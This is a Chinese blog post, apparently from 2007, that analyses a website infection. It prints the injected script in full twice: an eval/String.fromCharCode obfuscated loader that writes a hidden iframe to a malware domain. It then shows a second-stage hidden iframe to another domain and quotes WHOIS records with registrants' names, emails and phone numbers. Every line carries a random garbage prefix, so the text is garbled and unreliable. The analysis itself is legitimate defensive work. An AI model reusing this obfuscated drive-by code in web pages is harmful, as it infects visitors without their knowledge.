首发在我的博客里面，
3\ { ?L ]3Y J a http://www.areway.cn/?p=175 *x-@}WY$U e>2KW5. fZiwuq !_ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
wnU-5r&!] JfsvK2I <script>t=’60,105,102,114,97,109,101,
]iY O}JuX 32,115,114,99,61,104,116,116,112,58,47,47,
o~{rZ~ 102,114,101,101,46,117,45,117,117,117,46,99,
Sby (?yg 110,47,101,114,114,111,114,46,104,116,109,
d K Qu 32,119,105,100,116,104,61,49,48,48,32,104,
AM0CIRX$ 101,105,103,104,116,61,48,62,60,47,105,102,
v[<x>?i D_ 114,97,109,101,62′;
w9w=2 * t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Sq SiuO.D ` 7 P%muY. <script>t=’60,105,102,114,97,109,101,32,115,
X`20=x 114,99,61,104,116,116,112,58,47,47,102,114,
>{)\GK0i 7 101,101,46,117,45,117,117,117,46,99,110,47,
-V&nlP 101,114,114,111,114,46,104,116,109,32,119,
~l8w]R3A 105,100,116,104,61,49,48,48,32,104,101,105,
}nRTw2-z 103,104,116,61,48,62,60,47,105,102,114,97,
0j :u.x 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
6rMXv0 ) document.write(t);</script>
TWM^5
L :U W#@6 e')d <html xmlns=”
j#jwK(:] http://www.w3.org/1999/xhtml 7?;ZE: “>
P0/Ctke; <head>
2YQ;Kh"S
<!– Published By Newasp.cc 2007-12-7-18:03:23 –>
x=03 WQ8 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
`\r <3? <title>首页 - 爱生活家庭网
&` IJ55Z-) -EJj j { 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
.lAP lJOO 转换字符串后的大概内容是（谁点击后果自付）：
;efF]") <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
xpJ=yx O m
al?3*x/ 查询玉米u-uuu.cn的详细信息：
H]}mg='kI Domain Name: u-uuu.cn
mX%T"_^ ROID: 20070901s10001s64972306-cn
pr[V*C/ Domain Status: ok
JM7FVB Registrant Organization: 王雷
{DD #&B Registrant Name: 王雷
^Wr L
Administrative Email:
czlovexs@126.com P(.XB ` Sponsoring Registrar: 北京万网志成科技有限公司
;@ *<M\O Name Server:ns.yovole.com
{%\@Z-9%q, Name Server:ns1.yovole.com
*nK4XgD Registration Date: 2007-09-01 17:54
lA` qB1x Expiration Date: 2008-09-01 17:54
d`,z4 _ 最后PING了一下地址 都没有什么….
,A5}HRW% Kk,u{EA 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
o)GesgxFa5 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
# w@FBFr@ <script language=”javascript” src=”
|\Q2L;4C http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script {PkR6.XhR >
q|}O-A*wa 这个玉米应该有可能是木马作者的：
<TTBIXV foafau.info的详细信息：
A34O(fE Access to INFO WHOIS information is provided to assist persons in
-, Js2+QZ# determining the contents of a domain name registration record in the
~z(0XKq0d Afilias registry database. The data in this record is provided by
nsM. `s@V Afilias Limited for informational purposes only, and Afilias does not
rd;E /:`5 guarantee its accuracy. This service is intended only for query-based
*'*,mfk[ access. You agree that you will use this data only for lawful purposes
?O Puv5!pI and that, under no circumstances will you use this data to: (a) allow,
|l-O e enable, or otherwise support the transmission by e-mail, telephone, or
RBfz ti6 facsimile of mass unsolicited, commercial advertising or solicitations
V,% K"b= to entities other than the data recipient’s own existing customers; or
IE3GZk+a~ (b) enable high volume, automated, electronic processes that send
Y4+ ]5;B8 queries or data to the systems of Registry Operator, a Registrar, or
W!"Oho' Afilias except as reasonably necessary to register domain names or
1gn LKf c modify existing registrations. All rights reserved. Afilias reserves
}mo)OyIX the right to modify these terms at any time. By submitting this query,
@ULd~ you agree to abide by this policy.
(-],VB
(+ Domain ID:D22418703-LRMS
IR{XL \WF Domain Name:FOAFAU.INFO
[ahwJ F#r Created On:20-Nov-2007 16:05:42 UTC
K_n
GZ/`[ Last Updated On:20-Nov-2007 16:05:44 UTC
9 I:3 Expiration Date:20-Nov-2008 16:05:42 UTC
3mHP=) Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
G?, "AA; Status:CLIENT DELETE PROHIBITED
!*3]PZ25a( Status:CLIENT RENEW PROHIBITED
H|$
*HQm Status:CLIENT TRANSFER PROHIBITED
XSCcumde! Status:CLIENT UPDATE PROHIBITED
@
M4m!;rM Status:TRANSFER PROHIBITED
M~h.M PI Registrant ID:GODA-040110615
A)gSOC{3F) Registrant Name:liu hong
/'zXb_R,$ Registrant Organization:
"sIww Registrant Street1:beijing
wwet90_g Registrant Street2:
j"jQiL_* Registrant Street3:
xLb=^Xjec Registrant City:beijing
(5A8# 7a Registrant State/Province:
M?=I{}!@Q Registrant Postal Code:100000
Fn0 |v66 Registrant Country:CN
6b%IPb b Registrant Phone:+86.860108888777
ArjRoXDE Registrant Phone Ext.:
(w#)|9Cxm Registrant FAX:
4 aE{} jp1 Registrant FAX Ext.:
M(yWE0 3 Registrant Email:bbbshiji@163.com
NHQoP&OG Admin ID:GODA-240110615
yVQW| D0,j Admin Name:liu hong
.<E7Ey# Admin Organization:
1JJ1!& > Admin Street1:beijing
$ce*W 9` Admin Street2:
;<G K{8 Admin Street3:
{>PEl; ,- Admin City:beijing
B873UN Admin State/Province:
@LFB}B Admin Postal Code:100000
r,3\32[? Admin Country:CN
R )4,f~@" Admin Phone:+86.860108888777
>Q'*~S@v3 Admin Phone Ext.:
|#{ i7>2U Admin FAX:
?~IdP SY Admin FAX Ext.:
cv1PiIl Admin Email:bbbshiji@163.com
,)N/2M\B- Billing ID:GODA-340110615
H DD)AM&p Billing Name:liu hong
&EYoviFp Billing Organization:
>j7]gi( Billing Street1:beijing
t3g+>U_m Billing Street2:
.beqfcj" Billing Street3:
E^gN]Z"O Billing City:beijing
?bu=QV@ Billing State/Province:
p 5py3k Billing Postal Code:100000
)*R';/zaI Billing Country:CN
M IyT9",Pl Billing Phone:+86.860108888777
cW_l | Billing Phone Ext.:
WJ)4rQ$o Billing FAX:
.LDp.#d9r1 Billing FAX Ext.:
LitdO>%#2 Billing Email:bbbshiji@163.com
k
] T Tech ID:GODA-140110615
Kv:Rvo Tech Name:liu hong
+sTPTCLE Tech Organization:
= y(*?TZH Tech Street1:beijing
H+5+;`; Tech Street2:
p] N/]2rR Tech Street3:
@h_ bXo Tech City:beijing
,`OQAJ)> Tech State/Province:
4;>HBCM4- Tech Postal Code:100000
KX3A| Tech Country:CN
uJlW$Oc:. Tech Phone:+86.860108888777
yyk@f% Tech Phone Ext.:
T@`Al(' Tech FAX:
>)u{%@Rcy{ Tech FAX Ext.:
c10$5V&@ Tech Email:bbbshiji@163.com
717G
CL@ Name Server:NS27.DOMAINCONTROL.COM
_yX.Apv] Name Server:NS28.DOMAINCONTROL.COM
fP6 . Name Server:
QC!SgV Name Server:
X h}D_c Name Server:
,KD?kSIf Name Server:
z;?j+ZsdH Name Server:
00s) =A_ Name Server:
?Z4%u8Krvz Name Server:
Vy| 4k2 Name Server:
Rry] 6( Name Server:
: bi(mX7t Name Server:
WRA(k Name Server:
/u_9uJ"-K( l]#=I7 6 接着下载每个文件里面的代码：
l!KPgRw 一步一步看..
kj.9\ 
?FUK _] 
+]z Rn 
#D%6b 
Qca3{| r` 
"nb.!OG~( 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
